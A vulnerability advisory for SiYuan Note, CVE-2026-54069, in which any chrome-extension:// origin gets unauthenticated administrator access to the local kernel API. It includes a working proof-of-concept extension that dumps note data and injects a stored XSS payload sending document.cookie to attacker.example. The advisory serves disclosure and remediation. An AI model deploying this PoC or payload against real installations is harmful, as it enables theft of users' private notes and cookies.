CVE-2026-54069: SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

go if strings.HasPrefix(origin, "chrome-extension://") { // skip auth }

At session.go:284, the request is assigned RoleAdministrator:

go c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit hostpermissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

json { "manifestversion": 3, "name": "SiYuan PoC", "version": "1.0", "background": { "serviceworker": "bg.js" } }

javascript // bg.js -- runs as chrome-extension://<id> // No special hostpermissions needed; localhost is accessible by default

// 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); });

// 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); });

// 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return;

fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">', parentID: firstDoc.id }) }); });

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

- Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel - Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/ - Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes - Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion - Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c gin.Context) { origin := c.GetHeader("Origin") - if strings.HasPrefix(origin, "chrome-extension://") { - // Allow chrome extension requests - } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.